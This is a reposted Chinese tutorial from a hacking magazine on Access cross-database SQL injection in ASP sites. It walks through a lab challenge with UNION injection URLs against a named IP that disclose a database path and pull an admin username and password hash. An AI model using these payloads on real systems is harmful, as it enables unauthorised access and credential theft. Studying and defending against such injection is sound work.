Access的跨库查询

2023-11-04 04:38
文章标签 查询 access 跨库

本文主要是介绍Access的跨库查询,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

本文发于黑防12期和下面的一篇,没拿到钱,不要发出去了啊!!!
Access的跨库查询
文/superhei 04-7-28
大家还记得mssql的跨库查询吧,其实在access中也可以实现2个数据之间的交叉查询。下面我就给大家介绍下access的跨库查询。
首先让我们看看在access里是怎样实现对mdb文件进行查询的,我们随便创建个空数据库,对数据库D:/daos/db/daidalos.mdb里的admin表的内容进行查询:SQL语句为 SELECT * from admin in "D:/daos/db/daidalos.mdb"

查询后,成功返回目标数据库里表admin表里的内容:

在实际的asp注射中,要同时进行2个select,如果大家熟悉php+mysql注射的话,应该很容易想到使用union进行联合查询,在access里我们照样可以使用,使用union查询还有一个好处就是不要去对数据进行一个一个字符的去猜,而可以象mysql+php注射一样直接暴出字段里的数据(具体的mix已经写了一篇详细的文章)。从上面可以看出来要实现跨库查询必修要下面2个条件:
1.      使用union查询必须知道前一个select里表的字段数
2.      必须知道目标3.      数据库的所在位置,4.      绝对路径。
条件1我们可以根据提示错误信息来手工猜解,也可以通过程序自动实现。
条件2 这个是个难点,不过我们可以通过利用“access暴库”来实现,有人会说既然可以知道数据位置,那不直接下载得拉,其实不然,现在的数据库一般防止下载,有的根本不web目录下。

在黑防第四轮实验室的第一关,就是设置的2个asp+access的下载系统,一个是雨点下载系统,一个是盗帅下载系统。 经过测试 盗帅下载系统可以暴出数据库但是不让下载,似乎也没什么地方可以注射,而雨点下载系统就是漏洞百出了,数据库可以暴且可以直接下载,还可以注射。不过雨点的后台很简单,没什么可以利用的地方,我们的目标就放在得到盗帅后台密码上了,下面我就给大家演示下,通过雨点系统的注射点对盗帅系统的跨库查询而得到盗帅的后台密码:

我们得知雨点系统的list.asp可以注射,我们先去要得到union里的数据表字段数,提交:
< http://219.237.81.46/yddown/list.asp?id=75%20union%20select%201%20from%20userinfo>
返回:
Microsoft JET Database Engine 错误 '80040e14'
在联合查询中所选定的两个数据表或查询中的列数不匹配。
/yddown/list.asp,行?
字段不对,我写了个perl脚本自动猜,(代码见后)

当我们提交:
< http://219.237.81.46/yddown/list.asp?id=75%20union%20select%201,2,3%20from%20userinfo>
无错误返回,


哈哈! 我们已经得到字段数了,并且我们可以得到在字段1的我位置,可以显示我们查询的数据。
现在还就差盗帅的数据库位置了,简单我们暴库,提交:
< http://219.237.81.46/dsdown%5cregs.asp>
成功返回路径:
Microsoft JET Database Engine 错误 '80004005'
'D:/111/db/kljdsld.asa'不是一个有效的路径。确定路径名称拼写是否正确,以及是否连接到文件存放的服务器。
/dsdown/db/user.asp,行
(注意:这样得到的的路径不一定是“完整”的,真正的路径为:D:/111/dsdown/db/kljdsld.asa)

下面我们跨库,构造url如下:
< http://219.237.81.46/yddown/list.asp?id=75%20union%20select%20admin,3,2%20from%20admin%20in%20"D:/111/dsdown/db/kljdsld.asa"%20where%20id=1>

上面的语句是,union查询数据D:/111/db/kljdsld.asa里表admin里id=1的字段admin的数据,如果成功将直接暴出后台管理的用户名:

得到用户名为admin 我们接着暴密码:
< http://219.237.81.46/yddown/list.asp?id=75%20union%20select%20pws,3,2%20from%20admin%20in%20"D:/111/dsdown/db/kljdsld.asa"%20where%20id=1>
如图:

得到密码为32位的md5加密的hash;77e6cbb3f9468eadb655ae6826357922
我们跨库查询成功,这里我只是为大家演示下跨库查询,黑防那里就不管咯 : )。


小结:
  本文主要是给大家介绍了2个非常有用的方法,第1 我们在asp注射时不一顶要一个个字符去猜,那样遇到中文的很麻烦,直接用union替代数据可以直接暴出数据,不关是中文还是特殊字符,都可以一步到位,第2 就是跨库了,使用很灵活,可以让你在渗透时,有意想不到的收获。

这篇关于Access的跨库查询的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/343284

相关文章

MySQL连表查询之笛卡尔积查询的详细过程讲解

《MySQL连表查询之笛卡尔积查询的详细过程讲解》在使用MySQL或任何关系型数据库进行多表查询时,如果连接条件设置不当,就可能发生所谓的笛卡尔积现象,:本文主要介绍MySQL连表查询之笛卡尔积查... 目录一、笛卡尔积的数学本质二、mysql中的实现机制1. 显式语法2. 隐式语法3. 执行原理(以Nes

SpringBoot利用树形结构优化查询速度

《SpringBoot利用树形结构优化查询速度》这篇文章主要为大家详细介绍了SpringBoot利用树形结构优化查询速度,文中的示例代码讲解详细,感兴趣的小伙伴可以跟随小编一起学习一下... 目录一个真实的性能灾难传统方案为什么这么慢N+1查询灾难性能测试数据对比核心解决方案:一次查询 + O(n)算法解决

Oracle查询表结构建表语句索引等方式

《Oracle查询表结构建表语句索引等方式》使用USER_TAB_COLUMNS查询表结构可避免系统隐藏字段(如LISTUSER的CLOB与VARCHAR2同名字段),这些字段可能为dbms_lob.... 目录oracle查询表结构建表语句索引1.用“USER_TAB_COLUMNS”查询表结构2.用“a

解密SQL查询语句执行的过程

《解密SQL查询语句执行的过程》文章讲解了SQL语句的执行流程,涵盖解析、优化、执行三个核心阶段,并介绍执行计划查看方法EXPLAIN,同时提出性能优化技巧如合理使用索引、避免SELECT*、JOIN... 目录1. SQL语句的基本结构2. SQL语句的执行过程3. SQL语句的执行计划4. 常见的性能优

Linux系统中查询JDK安装目录的几种常用方法

《Linux系统中查询JDK安装目录的几种常用方法》:本文主要介绍Linux系统中查询JDK安装目录的几种常用方法,方法分别是通过update-alternatives、Java命令、环境变量及目... 目录方法 1:通过update-alternatives查询(推荐)方法 2:检查所有已安装的 JDK方

MyBatis-Plus通用中等、大量数据分批查询和处理方法

《MyBatis-Plus通用中等、大量数据分批查询和处理方法》文章介绍MyBatis-Plus分页查询处理,通过函数式接口与Lambda表达式实现通用逻辑,方法抽象但功能强大,建议扩展分批处理及流式... 目录函数式接口获取分页数据接口数据处理接口通用逻辑工具类使用方法简单查询自定义查询方法总结函数式接口

MySql基本查询之表的增删查改+聚合函数案例详解

《MySql基本查询之表的增删查改+聚合函数案例详解》本文详解SQL的CURD操作INSERT用于数据插入(单行/多行及冲突处理),SELECT实现数据检索(列选择、条件过滤、排序分页),UPDATE... 目录一、Create1.1 单行数据 + 全列插入1.2 多行数据 + 指定列插入1.3 插入否则更

MySQL 多列 IN 查询之语法、性能与实战技巧(最新整理)

《MySQL多列IN查询之语法、性能与实战技巧(最新整理)》本文详解MySQL多列IN查询,对比传统OR写法,强调其简洁高效,适合批量匹配复合键,通过联合索引、分批次优化提升性能,兼容多种数据库... 目录一、基础语法:多列 IN 的两种写法1. 直接值列表2. 子查询二、对比传统 OR 的写法三、性能分析

从入门到精通MySQL联合查询

《从入门到精通MySQL联合查询》:本文主要介绍从入门到精通MySQL联合查询,本文通过实例代码给大家介绍的非常详细,需要的朋友可以参考下... 目录摘要1. 多表联合查询时mysql内部原理2. 内连接3. 外连接4. 自连接5. 子查询6. 合并查询7. 插入查询结果摘要前面我们学习了数据库设计时要满

MySQL查询JSON数组字段包含特定字符串的方法

《MySQL查询JSON数组字段包含特定字符串的方法》在MySQL数据库中,当某个字段存储的是JSON数组,需要查询数组中包含特定字符串的记录时传统的LIKE语句无法直接使用,下面小编就为大家介绍两种... 目录问题背景解决方案对比1. 精确匹配方案(推荐)2. 模糊匹配方案参数化查询示例使用场景建议性能优